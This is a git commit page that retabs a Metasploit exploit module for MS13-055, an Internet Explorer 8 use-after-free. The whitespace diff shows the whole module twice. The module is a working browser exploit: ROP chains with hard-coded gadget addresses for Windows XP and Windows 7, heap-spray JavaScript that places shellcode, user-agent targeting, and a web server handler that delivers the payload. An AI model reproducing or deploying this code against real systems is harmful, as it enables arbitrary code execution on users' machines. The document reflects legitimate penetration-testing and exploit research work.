Retabbed
One kills a man, one is an assassin; one kills millions, one is a conqueror; one kills a tab, one is a Metasploit dev.bug/bundler_fix
sinn3r
parent
6ab905e9e0
commit
0ee0168556
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@ -8,252 +8,252 @@
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info={})
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super(update_info(info,
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'Name' => "MS13-055 Microsoft Internet Explorer CAnchorElement Use-After-Free",
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'Description' => %q{
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In IE8 standards mode, it's possible to cause a use-after-free condition by first
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creating an illogical table tree, where a CPhraseElement comes after CTableRow,
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with the final node being a sub table element. When the CPhraseElement's outer
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content is reset by using either outerText or outerHTML through an event handler,
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this triggers a free of its child element (in this case, a CAnchorElement, but
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some other objects apply too), but a reference is still kept in function
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SRunPointer::SpanQualifier. This function will then pass on the invalid reference
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to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
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make a call to the object's SecurityContext virtual function at offset +0x70, which
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results a crash. An attacker can take advantage of this by first creating an
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CAnchorElement object, let it free, and then replace the freed memory with another
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fake object. Successfully doing so may allow arbitrary code execution under the
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context of the user.
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def initialize(info={})
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super(update_info(info,
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'Name' => "MS13-055 Microsoft Internet Explorer CAnchorElement Use-After-Free",
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'Description' => %q{
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In IE8 standards mode, it's possible to cause a use-after-free condition by first
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creating an illogical table tree, where a CPhraseElement comes after CTableRow,
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with the final node being a sub table element. When the CPhraseElement's outer
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content is reset by using either outerText or outerHTML through an event handler,
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this triggers a free of its child element (in this case, a CAnchorElement, but
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some other objects apply too), but a reference is still kept in function
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SRunPointer::SpanQualifier. This function will then pass on the invalid reference
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to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
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make a call to the object's SecurityContext virtual function at offset +0x70, which
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results a crash. An attacker can take advantage of this by first creating an
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CAnchorElement object, let it free, and then replace the freed memory with another
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fake object. Successfully doing so may allow arbitrary code execution under the
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context of the user.
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This bug is specific to Internet Explorer 8 only. It was originally discovered by
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Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Orange Tsai', # Original discovery, PoC
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'Peter Vreugdenhil', # Joins the party (wtfuzz)
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'sinn3r' # Joins the party
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],
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'References' =>
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[
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[ 'MSB', 'MS13-055' ],
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[ 'URL', 'https://speakerd.s3.amazonaws.com/presentations/0df98910d26c0130e8927e81ab71b214/for-share.pdf' ]
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],
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', {} ],
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[
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'IE 8 on Windows XP SP3',
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{
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'Rop' => :msvcrt,
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'Pivot' => 0x77c15ed5, # xchg eax, esp; ret
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'Align' => 0x77c4d801 # add esp, 0x2c; ret
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}
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],
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[
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'IE 8 on Windows 7',
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{
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'Rop' => :jre,
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'Pivot' => 0x7c348b05, # xchg eax, esp; ret
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'Align' => 0x7C3445F8 # add esp, 0x2c; ret
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}
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]
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],
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'Payload' =>
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{
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'BadChars' => "\x00"
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},
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'DefaultOptions' =>
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{
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Privileged' => false,
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'DisclosureDate' => "Jul 09 2013",
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'DefaultTarget' => 0))
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end
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This bug is specific to Internet Explorer 8 only. It was originally discovered by
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Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Orange Tsai', # Original discovery, PoC
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'Peter Vreugdenhil', # Joins the party (wtfuzz)
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'sinn3r' # Joins the party
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],
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'References' =>
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[
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[ 'MSB', 'MS13-055' ],
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[ 'URL', 'https://speakerd.s3.amazonaws.com/presentations/0df98910d26c0130e8927e81ab71b214/for-share.pdf' ]
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],
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', {} ],
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[
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'IE 8 on Windows XP SP3',
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{
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'Rop' => :msvcrt,
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'Pivot' => 0x77c15ed5, # xchg eax, esp; ret
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'Align' => 0x77c4d801 # add esp, 0x2c; ret
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}
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],
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[
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'IE 8 on Windows 7',
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{
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'Rop' => :jre,
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'Pivot' => 0x7c348b05, # xchg eax, esp; ret
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'Align' => 0x7C3445F8 # add esp, 0x2c; ret
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}
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]
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],
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'Payload' =>
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{
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'BadChars' => "\x00"
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},
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'DefaultOptions' =>
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{
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Privileged' => false,
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'DisclosureDate' => "Jul 09 2013",
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'DefaultTarget' => 0))
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end
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def get_target(agent)
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return target if target.name != 'Automatic'
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def get_target(agent)
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return target if target.name != 'Automatic'
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nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
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ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
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nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
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ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
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ie_name = "IE #{ie}"
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ie_name = "IE #{ie}"
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case nt
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when '5.1'
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os_name = 'Windows XP SP3'
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when '6.1'
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os_name = 'Windows 7'
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end
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case nt
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when '5.1'
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os_name = 'Windows XP SP3'
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when '6.1'
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os_name = 'Windows 7'
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end
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targets.each do |t|
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if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
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return t
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end
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end
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targets.each do |t|
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if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
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return t
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end
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end
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nil
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end
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nil
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end
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def get_payload(t, cli)
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rop = ''
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code = payload.encoded
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esp_align = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000
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def get_payload(t, cli)
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rop = ''
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code = payload.encoded
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esp_align = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000
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case t['Rop']
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when :msvcrt
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# Stack adjustment # add esp, -3500
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esp_align = "\x81\xc4\x54\xf2\xff\xff"
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case t['Rop']
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when :msvcrt
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# Stack adjustment # add esp, -3500
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esp_align = "\x81\xc4\x54\xf2\xff\xff"
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print_status("Using msvcrt ROP")
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rop =
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[
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0x77c1e844, # POP EBP # RETN [msvcrt.dll]
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0x77c1e844, # skip 4 bytes [msvcrt.dll]
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0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]
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0xffffffff,
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0x77c127e5, # INC EBX # RETN [msvcrt.dll]
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0x77c127e5, # INC EBX # RETN [msvcrt.dll]
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0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
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0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
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0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
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0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
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0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
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0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
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0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
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0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
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0x77c3048a, # POP EDI # RETN [msvcrt.dll]
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0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
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0x77c46efb, # POP ESI # RETN [msvcrt.dll]
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0x77c2aacc, # JMP [EAX] [msvcrt.dll]
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0x77c3b860, # POP EAX # RETN [msvcrt.dll]
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0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
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0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
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0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll]
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].pack("V*")
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else
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print_status("Using JRE ROP")
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rop =
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[
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0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
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0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)
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0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
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0x7c3415a2, # JMP [EAX] [msvcr71.dll]
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0xffffffff,
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0x7c376402, # skip 4 bytes [msvcr71.dll]
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0x7c351e05, # NEG EAX # RETN [msvcr71.dll]
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0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]
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0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
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0x7c344f87, # POP EDX # RETN [msvcr71.dll]
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0xffffffc0, # Value to negate, will become 0x00000040
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0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]
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0x7c34d201, # POP ECX # RETN [msvcr71.dll]
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0x7c38b001, # &Writable location [msvcr71.dll]
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0x7c347f97, # POP EAX # RETN [msvcr71.dll]
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0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
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0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
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0x7c345c30 # ptr to 'push esp # ret ' [msvcr71.dll]
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# rop chain generated with mona.py
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].pack("V*")
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end
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print_status("Using msvcrt ROP")
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rop =
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[
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0x77c1e844, # POP EBP # RETN [msvcrt.dll]
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0x77c1e844, # skip 4 bytes [msvcrt.dll]
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0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]
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0xffffffff,
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0x77c127e5, # INC EBX # RETN [msvcrt.dll]
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0x77c127e5, # INC EBX # RETN [msvcrt.dll]
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0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
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0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
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0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
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0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
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0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
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0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
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0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
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0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
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0x77c3048a, # POP EDI # RETN [msvcrt.dll]
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0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
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0x77c46efb, # POP ESI # RETN [msvcrt.dll]
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0x77c2aacc, # JMP [EAX] [msvcrt.dll]
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0x77c3b860, # POP EAX # RETN [msvcrt.dll]
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0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
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0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
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0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll]
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].pack("V*")
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else
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print_status("Using JRE ROP")
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rop =
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[
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0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
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0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)
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0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
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0x7c3415a2, # JMP [EAX] [msvcr71.dll]
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0xffffffff,
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0x7c376402, # skip 4 bytes [msvcr71.dll]
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0x7c351e05, # NEG EAX # RETN [msvcr71.dll]
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0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]
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0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
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0x7c344f87, # POP EDX # RETN [msvcr71.dll]
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0xffffffc0, # Value to negate, will become 0x00000040
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0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]
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0x7c34d201, # POP ECX # RETN [msvcr71.dll]
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0x7c38b001, # &Writable location [msvcr71.dll]
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0x7c347f97, # POP EAX # RETN [msvcr71.dll]
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0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
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0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
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0x7c345c30 # ptr to 'push esp # ret ' [msvcr71.dll]
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# rop chain generated with mona.py
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].pack("V*")
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end
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rop_payload = rop
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rop_payload << esp_align
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rop_payload << code
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rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt
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rop_payload = rop
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rop_payload << esp_align
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rop_payload << code
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rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt
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rop_payload
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end
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rop_payload
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end
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def junk
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rand_text_alpha(4).unpack("V")[0].to_i
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end
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def junk
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rand_text_alpha(4).unpack("V")[0].to_i
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end
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def nop
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make_nops(4).unpack("V")[0].to_i
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end
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def nop
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make_nops(4).unpack("V")[0].to_i
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end
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def get_html(t, p)
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js_pivot = Rex::Text.to_unescape([t['Pivot']].pack("V*"))
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js_payload = Rex::Text.to_unescape(p)
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js_align = Rex::Text.to_unescape([t['Align']].pack("V*"))
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js_junk = Rex::Text.to_unescape([junk].pack("V*"))
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def get_html(t, p)
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js_pivot = Rex::Text.to_unescape([t['Pivot']].pack("V*"))
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js_payload = Rex::Text.to_unescape(p)
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js_align = Rex::Text.to_unescape([t['Align']].pack("V*"))
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js_junk = Rex::Text.to_unescape([junk].pack("V*"))
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q_id = Rex::Text.rand_text_alpha(1)
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q_id = Rex::Text.rand_text_alpha(1)
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html = %Q|
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html = %Q|
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<!DOCTYPE html>
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<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
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<head>
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<meta>
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<?IMPORT namespace="t" implementation="#default#time2">
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</meta>
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</head>
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<script>
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#{js_mstime_malloc}
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<head>
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<meta>
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<?IMPORT namespace="t" implementation="#default#time2">
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</meta>
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</head>
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<script>
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#{js_mstime_malloc}
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window.onload = function() {
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var x = document.getElementById("#{q_id}");
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x.outerText = "";
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a = document.getElementById('myanim');
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window.onload = function() {
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var x = document.getElementById("#{q_id}");
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x.outerText = "";
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a = document.getElementById('myanim');
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p = '';
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for (i=0; i < 7; i++) {
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p += unescape("#{js_junk}");
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}
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p += unescape("#{js_payload}");
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p = '';
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for (i=0; i < 7; i++) {
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p += unescape("#{js_junk}");
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}
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p += unescape("#{js_payload}");
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fo = unescape("#{js_align}");
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for (i=0; i < 28; i++) {
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if (i == 27) { fo += unescape("#{js_pivot}"); }
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else { fo += unescape("#{js_align}"); }
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}
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fo = unescape("#{js_align}");
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for (i=0; i < 28; i++) {
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if (i == 27) { fo += unescape("#{js_pivot}"); }
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else { fo += unescape("#{js_align}"); }
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}
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||||
|
||||
fo += p;
|
||||
fo += p;
|
||||
|
||||
mstime_malloc({shellcode:fo, heapBlockSize:0x68, objId:"myanim"});
|
||||
}
|
||||
</script>
|
||||
<table>
|
||||
<tr>
|
||||
<div>
|
||||
<span>
|
||||
<q id='#{q_id}'>
|
||||
<a>
|
||||
<td></td>
|
||||
</a>
|
||||
</q>
|
||||
</span>
|
||||
</div>
|
||||
</tr>
|
||||
</table>
|
||||
<t:ANIMATECOLOR id="myanim"/>
|
||||
mstime_malloc({shellcode:fo, heapBlockSize:0x68, objId:"myanim"});
|
||||
}
|
||||
</script>
|
||||
<table>
|
||||
<tr>
|
||||
<div>
|
||||
<span>
|
||||
<q id='#{q_id}'>
|
||||
<a>
|
||||
<td></td>
|
||||
</a>
|
||||
</q>
|
||||
</span>
|
||||
</div>
|
||||
</tr>
|
||||
</table>
|
||||
<t:ANIMATECOLOR id="myanim"/>
|
||||
</html>
|
||||
|
|
||||
|
|
||||
|
||||
html.gsub(/^\t\t/, '')
|
||||
end
|
||||
html
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
agent = request.headers['User-Agent']
|
||||
t = get_target(agent)
|
||||
def on_request_uri(cli, request)
|
||||
agent = request.headers['User-Agent']
|
||||
t = get_target(agent)
|
||||
|
||||
if t
|
||||
p = get_payload(t, cli)
|
||||
html = get_html(t, p)
|
||||
print_status("Sending exploit...")
|
||||
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
|
||||
else
|
||||
print_error("Not a suitable target: #{agent}")
|
||||
send_not_found(cli)
|
||||
end
|
||||
end
|
||||
if t
|
||||
p = get_payload(t, cli)
|
||||
html = get_html(t, p)
|
||||
print_status("Sending exploit...")
|
||||
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
|
||||
else
|
||||
print_error("Not a suitable target: #{agent}")
|
||||
send_not_found(cli)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
|||
Loading…
Reference in New Issue